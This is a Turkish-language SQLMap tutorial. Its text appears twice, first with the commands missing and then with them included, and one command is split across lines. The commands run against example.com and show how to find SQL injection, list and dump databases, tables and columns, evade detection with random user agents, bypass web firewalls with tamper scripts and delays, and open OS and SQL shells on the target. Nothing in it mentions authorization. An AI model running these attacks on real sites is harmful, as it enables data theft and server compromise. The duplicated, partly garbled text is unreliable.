1. SQLMap Nedir? Nasıl Çalışır?
SQLMap, SQL enjeksiyon açıklarını otomatik olarak tespit eden ve sömüren gelişmiş bir penetrasyon testi aracıdır. Python ile yazılmış olup, çapraz platform desteği sunar.
Çalışma Prensibi:
1. Hedef URL'yi analiz eder
2. SQL enjeksiyon noktalarını tespit eder
3. Çeşitli tekniklerle (boolean-based, time-based, error-based, UNION) açığı doğrular
4. Veritabanı yapısını çıkarır
5. İstenilen verileri çeker veya sistemde komut çalıştırır
2. Kurulum ve Güncelleme
sudo apt update
sudo apt install sqlmap -y
Hedef Belirleme ve Tarama
SQLMap ile bir hedefi taramak için temel komut:
Bu komut, id parametresinde SQL enjeksiyon açığı olup olmadığını kontrol eder.
---
1.İleri Seviye İpuçları:
1.1 Belirli Parametreleri Tarama: Birden fazla parametre varsa, hangisini tarayacağınızı belirtebilirsiniz:
1.2 Rastgele User-Agent Kullanma: Tarama sırasında farklı User-Agent'ler kullanarak tespit edilmeyi zorlaştırabilirsiniz:
1.3 Proxy Kullanma: Tarama trafiğini bir proxy üzerinden yönlendirebilirsiniz:
---
2. Veritabanı Keşfi
SQLMap, hedef veritabanı hakkında detaylı bilgi toplayabilir.
Veritabanı Türünü Belirleme:
2.1 Mevcut Veritabanlarını Listeleme:
Bu komut, hedef sunucudaki tüm veritabanlarını listeler.
2.2 Belirli Bir Veritabanındaki Tabloları Listeleme:
Bu komut, belirtilen veritabanındaki tabloları listeler.
---
3. Veri Çekme
SQLMap ile veritabanından veri çekmek için çeşitli yöntemler vardır.
3.1 Tablo Verilerini Çekme:
Bu komut, belirtilen tablodaki tüm verileri çeker ve ekrana yazar.
3.2 Sütun Bazında Veri Çekme:
Bu komut, belirtilen sütundaki verileri çeker.
3.3 Verileri Dosyaya Kaydetme:
s
Bu komut, çekilen verileri belirtilen dizine kaydeder.
---
4. SQL Enjeksiyon Türlerini Belirleme
SQLMap, farklı SQL enjeksiyon türlerini otomatik olarak tespit edebilir. Ancak manuel olarak belirtebilirsiniz:
4.1 Boolean-Based Blind SQLi:
4.2 Time-Based Blind SQLi:
4.3 Union-Based SQLi:
---
5. WAF Atlatma Teknikleri
Web Application Firewall (WAF) korumalı sitelerde SQLMap kullanırken bazı teknikler işinize yarayabilir.
5.1 WAF Tespiti:
5.2 Tamper Scriptleri Kullanma:
SQLMap, WAF'leri atlatmak için özelleştirilmiş scriptler (tamper) sunar. Örneğin:
Bu komut, boşluk karakterlerini yorum karakterlerine dönüştürür.
5.3 Yavaş Tarama:
WAF'leri atlatmak için tarama hızını düşürebilirsiniz:
---
6. Otomatik Exploit
SQLMap, SQL enjeksiyon açığını otomatik olarak exploit edebilir.
6.1 Shell Alma:
Bu komut, hedef sunucuda bir shell açar.
6.2 SQL Shell Alma:
Bu komut, SQL komutlarını doğrudan çalıştırmanızı sağlar.
---
7. Gelişmiş Senaryolar
7.1 Çoklu Parametreli URL'ler:
Birden fazla parametre içeren URL'lerde tarama yapmak için:
--level ve --risk parametreleri, taramanın derinliğini ve risk seviyesini artırır.
7.2 POST İstekleri ile Çalışma:
POST isteklerinde SQL enjeksiyon taraması yapmak için:
7.3 Cookie Kullanma:
Oturum gerektiren sayfalarda cookie kullanarak tarama yapabilirsiniz:
Sqlmap Eğitim Dosyamız bu kadar
...
SQLMap, SQL enjeksiyon açıklarını otomatik olarak tespit eden ve sömüren gelişmiş bir penetrasyon testi aracıdır. Python ile yazılmış olup, çapraz platform desteği sunar.
Çalışma Prensibi:
1. Hedef URL'yi analiz eder
2. SQL enjeksiyon noktalarını tespit eder
3. Çeşitli tekniklerle (boolean-based, time-based, error-based, UNION) açığı doğrular
4. Veritabanı yapısını çıkarır
5. İstenilen verileri çeker veya sistemde komut çalıştırır
2. Kurulum ve Güncelleme
sudo apt update
sudo apt install sqlmap -y
Hedef Belirleme ve Tarama
SQLMap ile bir hedefi taramak için temel komut:
sqlmap -u "http://example.com/page?id=1"Bu komut, id parametresinde SQL enjeksiyon açığı olup olmadığını kontrol eder.
---
1.İleri Seviye İpuçları:
1.1 Belirli Parametreleri Tarama: Birden fazla parametre varsa, hangisini tarayacağınızı belirtebilirsiniz:
sqlmap -u "http://example.com/page?id=1&cat=2" -p "id"1.2 Rastgele User-Agent Kullanma: Tarama sırasında farklı User-Agent'ler kullanarak tespit edilmeyi zorlaştırabilirsiniz:
sqlmap -u "http://example.com/page?id=1" --random-agent1.3 Proxy Kullanma: Tarama trafiğini bir proxy üzerinden yönlendirebilirsiniz:
sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"---
2. Veritabanı Keşfi
SQLMap, hedef veritabanı hakkında detaylı bilgi toplayabilir.
Veritabanı Türünü Belirleme:
sqlmap -u "http://example.com/page?id=1" --dbms=MySQL ( Bu komut, hedefin MySQL kullandığını varsayarak tarama yapar. )2.1 Mevcut Veritabanlarını Listeleme:
sqlmap -u "http://example.com/page?id=1" --dbs Bu komut, hedef sunucudaki tüm veritabanlarını listeler.
2.2 Belirli Bir Veritabanındaki Tabloları Listeleme:
sqlmap -u "http://example.com/page?id=1" -D database_name --tablesBu komut, belirtilen veritabanındaki tabloları listeler.
---
3. Veri Çekme
SQLMap ile veritabanından veri çekmek için çeşitli yöntemler vardır.
3.1 Tablo Verilerini Çekme:
sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dumpBu komut, belirtilen tablodaki tüm verileri çeker ve ekrana yazar.
3.2 Sütun Bazında Veri Çekme:
sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name -C column_name --dumpBu komut, belirtilen sütundaki verileri çeker.
3.3 Verileri Dosyaya Kaydetme:
s
qlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dump --output-dir=/path/to/saveBu komut, çekilen verileri belirtilen dizine kaydeder.
---
4. SQL Enjeksiyon Türlerini Belirleme
SQLMap, farklı SQL enjeksiyon türlerini otomatik olarak tespit edebilir. Ancak manuel olarak belirtebilirsiniz:
4.1 Boolean-Based Blind SQLi:
sqlmap -u "http://example.com/page?id=1" --technique=B4.2 Time-Based Blind SQLi:
sqlmap -u "http://example.com/page?id=1" --technique=T4.3 Union-Based SQLi:
sqlmap -u "http://example.com/page?id=1" --technique=U---
5. WAF Atlatma Teknikleri
Web Application Firewall (WAF) korumalı sitelerde SQLMap kullanırken bazı teknikler işinize yarayabilir.
5.1 WAF Tespiti:
sqlmap -u "http://example.com/page?id=1" --check-waf5.2 Tamper Scriptleri Kullanma:
SQLMap, WAF'leri atlatmak için özelleştirilmiş scriptler (tamper) sunar. Örneğin:
sqlmap -u "http://example.com/page?id=1" --tamper=space2commentBu komut, boşluk karakterlerini yorum karakterlerine dönüştürür.
5.3 Yavaş Tarama:
WAF'leri atlatmak için tarama hızını düşürebilirsiniz:
sqlmap -u "http://example.com/page?id=1" --delay=5---
6. Otomatik Exploit
SQLMap, SQL enjeksiyon açığını otomatik olarak exploit edebilir.
6.1 Shell Alma:
sqlmap -u "http://example.com/page?id=1" --os-shellBu komut, hedef sunucuda bir shell açar.
6.2 SQL Shell Alma:
sqlmap -u "http://example.com/page?id=1" --sql-shellBu komut, SQL komutlarını doğrudan çalıştırmanızı sağlar.
---
7. Gelişmiş Senaryolar
7.1 Çoklu Parametreli URL'ler:
Birden fazla parametre içeren URL'lerde tarama yapmak için:
sqlmap -u "http://example.com/page?id=1&cat=2" --level=5 --risk=3--level ve --risk parametreleri, taramanın derinliğini ve risk seviyesini artırır.
7.2 POST İstekleri ile Çalışma:
POST isteklerinde SQL enjeksiyon taraması yapmak için:
sqlmap -u "http://example.com/login" --data="username=admin&password=pass"7.3 Cookie Kullanma:
Oturum gerektiren sayfalarda cookie kullanarak tarama yapabilirsiniz:
sqlmap -u "http://example.com/page?id=1" --cookie="PHPSESSID=1234"Sqlmap Eğitim Dosyamız bu kadar
Bu içeriği görmek için giriş yapın.
